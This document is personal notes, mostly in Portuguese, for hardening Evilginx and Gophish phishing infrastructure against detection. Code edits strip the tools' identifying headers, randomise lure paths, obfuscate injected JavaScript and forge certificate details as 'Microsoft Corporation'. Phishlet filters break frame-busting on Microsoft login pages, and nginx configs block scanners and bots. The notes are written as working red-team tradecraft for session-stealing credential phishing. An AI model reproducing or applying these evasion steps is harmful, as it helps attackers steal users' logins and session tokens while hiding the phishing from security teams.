
Guia de Configuração da Infraestrutura de Phishing do Evilginx - Protegendo a Infraestrutura do Evilginx e do Gophish, Removendo IOCs, TTPs de Phishing
Nota: Estas são cópias das minhas notas pessoais. Por favor, não dependa totalmente delas.
Verifique domínios expirados e possivelmente compre os bons
Categorização de Domínios
Automatizando Verificação/Envio de Reputação de Domínios

Método -1 : Usando Provedores de Serviço de E-mail
Método - 2 : Técnicas Aleatórias
Técnica 1 : Por Andre Rosario - Do Discord BreakDev Red
[email protected], mas na verdade é de (pessoas técnicas conseguem descobrir isso facilmente)Criação de Phishlets do Evilginx
Scripts de Instalação do Evilginx
Dicas de Segurança para Infraestrutura Evilginx -
https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- Rewrite URLs on Phishing Pages to avoid detection through URL Path pattern matching (by Kuba).
- Remove IOCs (X-Evilginx header and Default Cert Details)
- Modify Unauth redirect static contents
- Modify code to request wildcard certificates for root domain from Let'sEncrypt other than requesting for each subdomains (As mentioned in Kuba's blog) - Check this repo for reference https://github.com/ss23/evilginx2
- Put evilginx behind a proxy to help against TLS fingerprinting (JA3 and JA3S)
- Use cloudflare in between if possible/feasible (You have to configure the SSL Settings correctly, change it to Full in cloudflare settings)
- Use some known ASN blacklist to avoid getting detected like here (https://github.com/aalex954/evilginx2-TTPs#ip-blacklist)
- Reduce the Number of proxyhosts in phishlet if possible to reduce content loading time.
- Host Evilginx at Azure and use their domain (limit proxy host in phishlet to 1 or find a way , may be create multiple azure sub domains and try with that)
- Add some sub_filters to modify the content of the pages to avoid content based detections, like (Favicon, form title font or style, or anything which seems relevant)
- Block the feedback/telemetry/logs/analytics subdomains using the phishlet sub_filters which can log the domain or may help later on analysis.
- See if js-injected is static or dynamic , if static modify the evilginx js-inject code to create dynamic/obfuscated version of your js for each user/target.
- Make sure to not leak your Evilginx infra IP, Check the DNS history to make sure its not stored anywhere (Analysts may look for older DNS Records of the domain)
- Be aware of this research : https://catching-transparent-phish.github.io/catching_transparent_phish.pdf , repo - https://catching-transparent-phish.github.io/
Essas modificações também funcionarão na versão mais recente do evilginx + gophish, ou seja, evilginx3.3
Dicas : Use o parâmetro {{.URL}} no template de phishing ao usar com o evilginx ( https://github.com/kgretzky/evilginx2/issues/1042#issuecomment-2052073864)
Modificações no código-fonte e na estrutura de arquivos do gophish para proteger a Infra do GoPhish
Remova as instâncias de X-Gophish ( X-Gophish-Contact , X-Gophish-Signature)
Remova const ServerName= "gophish" e altere para const ServerName= "IGNORE" no arquivo config/config.go
Altere a porta padrão do servidor Admin no arquivo config.json.
Modifique as Assinaturas de Mensagens de E-mail de Teste para evitar detecção durante testes SMTP. Controllers > api > util.go
Controllers > api > util.go
models > testdata > email_request.go
models > testdata > email_request_test.go
models > testdata > maillog.go
models > testdata > maillog_test.go
models > testdata > smtp_test.go
Técnica 2 : Usando a funcionalidade de Convite Externo do Azure - Do Discord BreakDev Red
Dicas aleatórias para ajudar a colocar e-mails na caixa de entrada.
Blogs/Palestras/Referências
Remova o cabeçalho X-Evilginx (verifique todas as linhas de código com req.Header.Set e comente as funções relevantes no arquivo core/http_proxy.go)
// comment line 469
req.Header.Set(p.getHomeDir(), o_host)
//comment line 659
req.Header.Set(p.getHomeDir(), o_host)
// comment function at line 1791-1793
func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}
// comment line 52-54
const (
HOME_DIR = ".evilginx"
)
Para modificar os conteúdos estáticos de redirecionamento não autenticado, pesquise por <html> no arquivo core/http_proxy.go e modifique o código html para remover quaisquer assinaturas estáticas.
Além disso, para evitar a detecção de assinatura do código js injetado estático, você pode modificar o código como abaixo
Certifique-se de adicionar "github.com/tdewolff/minify/js" em imports
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
var d_inject string
if script != "" {
minifier := minify.New() // "github.com/tdewolff/minify/js"
minifier.AddFunc("text/javascript", js.Minify)
obfuscatedScript, err := minifier.String("text/javascript", script)
if err != nil {
// Handle error - Obfuscation failed
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
}
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + obfuscatedScript + "</script>\n${1}"
//d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
} else {
return body
}
Modifique também o arquivo core/cert.db
Altere “rid” para o gophish.
Use nginx, caddy ou outros proxies na frente do evilginx.
Use Redirecionadores
<meta http-equiv="refresh" content="5;url=https://example.com">Altere o padrão padrão de URL do lure, que é uma string aleatória de comprimento 8.
// Line 728 in core/terminal.go file
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
Reescreva URLs nas páginas de phishing para evitar detecção por correspondência de padrões de caminho de URL (por Kuba). [Este recurso não está disponível na versão pública do evilginx; você precisa implementá-lo você mesmo.]
# Only Work in Evilginx Pro Version
# Similar functionality can be implemented in public version as well.
rewrite_urls:
trigger:
domains: ['www.linkedin.com']
paths: ['^/login$']
rewrite:
path: '/this/is/not/the/path/you/are/looking/for.php'
query:
{key:'a', value: 'HOW'}
{key:'b', value: 'MUCH'}
{key:'d', value: 'IS'}
{key:'e', value: 'THE'}
{key:'f', value: 'PHISH'}
{key:'q', value: '{id}'}

Modifique o padrão e o valor assinados dos cookies de identificação de sessão/lure (por @rad9800 )
Bloqueie cabeçalhos Referrer para evitar vazar seu nome de domínio de phishing - consulte este blog de pesquisa como referência :
resp.Header.Set("Referrer-Policy", "no-referrer")Defina sua própria CSP (Content Security Policy) para evitar telemetria/canary/detecção por vazamento do domínio de phishing.
Verifique se o site alvo está usando algum tipo de token canário (CSS, JS) e evite-os
Evasão de fingerprint JA4
BITB + evilginx + bypass de frame busting
- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'if\(e.self===e.top\){'
replace: 'if(true){window.oldself=e.self;e.self=e.top;'
mimes: ['text/html', 'charset=utf-8']- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'X-Frame-Options: DENY'
replace: 'Test: test'
mimes: ['text/html', 'charset=utf-8']
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(’’)
top.location = location
top.location.replace(document.location)
top.location.replace(’URL’)
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML=’’;},1);
window.self.onload = function(evt){document.body.innerHTML=’’;}
var url = window.location.href; top.location.replace(url)
Altere a resposta 404
Adicione a função personalizada abaixo no arquivo controllers/phish.go
func customNotFound(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Try again!", http.StatusNotFound)
}
Agora substitua todas as instâncias de http.NotFound(w, r) por customNotFound(w, r)
Remova a resposta hardcoded do robots.txt e modifique-a no arquivo controllers/phish.go
Modifique o respectivo código no arquivo phish.go para o abaixo.
//Modified Response
// RobotsHandler prevents search engines, etc. from indexing phishing materials
func (ps *PhishingServer) RobotsHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "User-agent: *\nDisallow: /*/*\nDisallow: /.git/*")
}
Modifique o parâmetro GET "rid" nas requisições
"rid" para outra coisa.Para prevenções avançadas, você também pode modificar a pasta estática e renomeá-la para outra coisa, além de renomear os arquivos dentro dela para evitar detecção baseada em caminho. Apenas não se esqueça de modificar também o código-fonte relevante.
Altere as Propriedades do Certificado no arquivo util/util.go
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
//Organization: []string{"Gophish"},
Organization: []string{"Microsoft Corporation"},
},
Use Nginx para fazer proxy do tráfego e evitar qualquer fingerprint de servidor Golang
service nginx start
Você precisa alterar o config.json do gophish para mudar as portas de http de 80 para 8080 e https da padrão para 60002, conforme mostrado abaixo
{
"admin_server": {
"listen_url": "127.0.0.1:60002",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "127.0.0.1:8080",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
A configuração abaixo bloqueará todas as requisições com user agent contendo “Bot” ou “bot”
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Para permitir apenas um user agent específico, use a configuração abaixo. Ela bloqueará todas as requisições e permitirá apenas requisições com user agent “iamdevil”.
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Modifique a assinatura do pixel de rastreamento do Gophish para evitar detecção baseada no pixel de rastreamento com assinatura.
Altere o padrão de sequência dos cabeçalhos de email do gophish. Isso pode ser usado para detectar o gophish (Da BreakDev Red Community).
Configure o PostFix na frente do gophish para remover IOCs e outras detecções e a spamminess dos e-mails, além de remover e corrigir os cabeçalhos.
Blogs/Palestras de Pesquisa sobre GoPhish :
Alternativas ao Gophish :